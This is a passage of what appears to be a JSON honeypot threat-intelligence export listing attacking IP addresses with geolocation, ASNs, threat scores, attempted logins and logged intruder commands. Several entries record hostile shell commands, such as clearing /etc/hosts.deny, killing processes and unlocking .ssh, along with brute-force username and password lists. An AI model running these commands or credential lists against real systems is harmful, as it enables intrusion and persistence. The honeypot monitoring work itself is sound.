        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 201814,
      "as_org": "MEVSPACE sp. z o.o.",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T14:52:58.524000+00:00",
        "last_seen_30d": "2026-05-22T15:38:48.694000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 143,
        "Suricata": 42
      }
    },
    "89.163.206.178": {
      "attack_count": 120,
      "first_seen": "2026-05-09T02:48:30.606Z",
      "last_seen": "2026-05-31T13:28:14.589Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "D\u00fcsseldorf",
      "asn": 24961,
      "as_org": "WIIT AG",
      "threat_score": 52.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 21.5,
        "persistence": 19.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 140,
        "days_active_30d": 23,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T02:48:30.606000+00:00",
        "last_seen_30d": "2026-05-31T13:29:18.636000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 60
      }
    },
    "117.254.120.77": {
      "attack_count": 48,
      "first_seen": "2026-05-06T14:49:57.380Z",
      "last_seen": "2026-05-06T14:55:09.215Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 5.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:49:57.380000+00:00",
        "last_seen_30d": "2026-05-06T14:56:18.024000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 48,
        "Suricata": 25
      }
    },
    "117.33.242.180": {
      "attack_count": 33,
      "first_seen": "2026-05-03T14:29:01.386Z",
      "last_seen": "2026-05-03T15:01:22.237Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "minecraft"
      ],
      "passwords_attempted": [
        "1q2w3e4r*",
        "345gs5662d34",
        "Pa$$w0rd",
        "Qwer@123",
        "ashok123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 3.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T14:29:01.386000+00:00",
        "last_seen_30d": "2026-05-03T15:02:29.391000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 14
      }
    },
    "34.62.148.171": {
      "attack_count": 33,
      "first_seen": "2026-05-27T05:46:48.916Z",
      "last_seen": "2026-05-27T05:47:15.981Z",
      "sessions": 9,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 26.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 53,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T05:46:48.916000+00:00",
        "last_seen_30d": "2026-05-27T05:48:21.778000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 20
      }
    },
    "122.96.31.91": {
      "attack_count": 26,
      "first_seen": "2026-05-07T08:59:59.556Z",
      "last_seen": "2026-05-07T09:04:22.365Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:59:59.556000+00:00",
        "last_seen_30d": "2026-05-07T09:05:22.789000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 26,
        "Suricata": 14
      }
    },
    "2.26.98.173": {
      "attack_count": 25,
      "first_seen": "2026-05-23T15:40:28.235Z",
      "last_seen": "2026-05-23T16:01:56.805Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "P",
        "admin",
        "orangepi",
        "password",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 215439,
      "as_org": "Play2go International Limited",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T10:08:07.548000+00:00",
        "last_seen_30d": "2026-05-23T16:03:04.588000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 19
      }
    },
    "93.172.246.139": {
      "attack_count": 24,
      "first_seen": "2026-05-13T17:08:01.510Z",
      "last_seen": "2026-05-13T17:20:06.832Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Hadera",
      "asn": 1680,
      "as_org": "Cellcom Fixed Line Communication L.P",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 38,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T17:08:01.510000+00:00",
        "last_seen_30d": "2026-05-13T17:21:09.394000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 24,
        "Suricata": 14
      }
    },
    "91.185.75.244": {
      "attack_count": 23,
      "first_seen": "2026-05-24T21:38:52.664Z",
      "last_seen": "2026-05-24T21:39:02.743Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544@@"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 48612,
      "as_org": "MTS PJSC",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T21:38:52.664000+00:00",
        "last_seen_30d": "2026-05-24T21:40:06.348000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 7
      }
    },
    "206.135.170.209": {
      "attack_count": 22,
      "first_seen": "2026-05-08T03:43:23.332Z",
      "last_seen": "2026-05-08T03:45:45.458Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 34,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T03:43:23.332000+00:00",
        "last_seen_30d": "2026-05-08T03:46:54.543000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "142.171.24.198": {
      "attack_count": 18,
      "first_seen": "2026-05-18T01:30:04.958Z",
      "last_seen": "2026-05-21T01:32:14.302Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 19.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T01:30:04.958000+00:00",
        "last_seen_30d": "2026-05-21T01:33:14.893000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "148.103.54.99": {
      "attack_count": 16,
      "first_seen": "2026-05-24T15:34:11.656Z",
      "last_seen": "2026-05-24T15:49:10.773Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo Este",
      "asn": 28118,
      "as_org": "ALTICE DOMINICANA S.A.",
      "threat_score": 21.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T15:34:11.656000+00:00",
        "last_seen_30d": "2026-05-24T15:52:03.261000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 13
      }
    },
    "2.57.122.192": {
      "attack_count": 12,
      "first_seen": "2026-05-02T07:03:08.390Z",
      "last_seen": "2026-05-13T22:02:57.244Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T07:03:08.390000+00:00",
        "last_seen_30d": "2026-05-13T22:04:00.466000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "23.94.144.202": {
      "attack_count": 12,
      "first_seen": "2026-05-23T07:52:18.715Z",
      "last_seen": "2026-05-23T07:54:44.372Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "admin",
        "root",
        "toor"
      ],
      "commands_executed": [
        "sh"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 36352,
      "as_org": "HostPapa",
      "threat_score": 18.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:52:18.715000+00:00",
        "last_seen_30d": "2026-05-23T07:55:45.786000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 3
      }
    },
    "117.34.85.185": {
      "attack_count": 10,
      "first_seen": "2026-05-29T23:37:21.025Z",
      "last_seen": "2026-05-30T00:05:24.011Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "devuser",
        "rdpuser"
      ],
      "passwords_attempted": [
        "123456",
        "devuser"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 134768,
      "as_org": "CHINANET SHAANXI province Cloud Base network",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:37:21.025000+00:00",
        "last_seen_30d": "2026-05-30T00:06:31.245000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "175.182.179.98": {
      "attack_count": 10,
      "first_seen": "2026-05-07T20:43:32.695Z",
      "last_seen": "2026-05-07T20:46:41.496Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 4780,
      "as_org": "Digital United Inc.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T20:43:32.695000+00:00",
        "last_seen_30d": "2026-05-07T20:47:48.419000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "179.68.172.141": {
      "attack_count": 10,
      "first_seen": "2026-05-19T02:31:50.158Z",
      "last_seen": "2026-05-19T04:36:10.384Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Curitiba",
      "asn": 4230,
      "as_org": "CLARO S.A.",
      "threat_score": 14.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:31:50.158000+00:00",
        "last_seen_30d": "2026-05-19T04:37:16.932000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "189.45.175.245": {
      "attack_count": 10,
      "first_seen": "2026-05-21T16:03:56.607Z",
      "last_seen": "2026-05-21T16:10:06.341Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Jos\u00e9 do Rio Preto",
      "asn": 61937,
      "as_org": "Oquei Telecom Ltda",
      "threat_score": 16.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:03:56.607000+00:00",
        "last_seen_30d": "2026-05-21T16:11:44.526000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 8
      }
    },
    "86.48.3.84": {
      "attack_count": 10,
      "first_seen": "2026-05-19T02:53:04.058Z",
      "last_seen": "2026-05-19T02:53:53.601Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "orangepi"
      ],
      "passwords_attempted": [
        "admin",
        "orangepi"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 14.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T02:53:04.058000+00:00",
        "last_seen_30d": "2026-05-19T02:55:00.419000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 6
      }
    },
    "194.164.107.4": {
      "attack_count": 9,
      "first_seen": "2026-05-10T14:33:26.360Z",
      "last_seen": "2026-05-10T15:04:38.383Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 50219,
      "as_org": "Valence Technology Co.",
      "threat_score": 74.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 26.3,
        "persistence": 17.5,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 423,
        "days_active_30d": 21,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 9,
        "first_seen_30d": "2026-05-06T11:03:17.911000+00:00",
        "last_seen_30d": "2026-05-26T05:57:32.011000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 306,
        "Honeytrap": 97,
        "Cowrie": 9,
        "ConPot": 4,
        "Honeyaml": 2,
        "Tanner": 2,
        "Dionaea": 1,
        "H0neytr4p": 1,
        "Sentrypeer": 1
      }
    },
    "1.71.143.145": {
      "attack_count": 8,
      "first_seen": "2026-05-06T14:12:55.914Z",
      "last_seen": "2026-05-06T14:13:37.033Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T14:09:36.256000+00:00",
        "last_seen_30d": "2026-05-06T14:15:54.498000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "178.197.198.243": {
      "attack_count": 8,
      "first_seen": "2026-05-03T08:34:16.983Z",
      "last_seen": "2026-05-03T08:40:24.922Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Switzerland",
      "country_code": "CH",
      "city": null,
      "asn": 3303,
      "as_org": "Bluewin",
      "threat_score": 2.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T08:34:16.983000+00:00",
        "last_seen_30d": "2026-05-03T08:41:29.008000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "58.47.104.38": {
      "attack_count": 8,
      "first_seen": "2026-05-19T05:50:13.749Z",
      "last_seen": "2026-05-19T06:16:20.793Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T05:50:13.749000+00:00",
        "last_seen_30d": "2026-05-19T06:17:24.535000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "72.255.33.221": {
      "attack_count": 8,
      "first_seen": "2026-05-31T14:21:17.653Z",
      "last_seen": "2026-05-31T14:22:08.861Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 24.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T14:21:17.653000+00:00",
        "last_seen_30d": "2026-05-31T14:23:10.410000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 5
      }
    },
    "83.82.116.141": {
      "attack_count": 8,
      "first_seen": "2026-05-25T16:30:41.171Z",
      "last_seen": "2026-05-25T16:38:43.411Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Weert",
      "asn": 33915,
      "as_org": "Vodafone Libertel B.V.",
      "threat_score": 19.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T05:27:41.978000+00:00",
        "last_seen_30d": "2026-05-25T16:39:44.831000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "120.48.14.39": {
      "attack_count": 6,
      "first_seen": "2026-05-17T18:20:48.933Z",
      "last_seen": "2026-05-17T18:22:49.537Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-17T18:20:48.933000+00:00",
        "last_seen_30d": "2026-05-20T03:26:06.732000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 6,
        "Honeytrap": 1
      }
    },
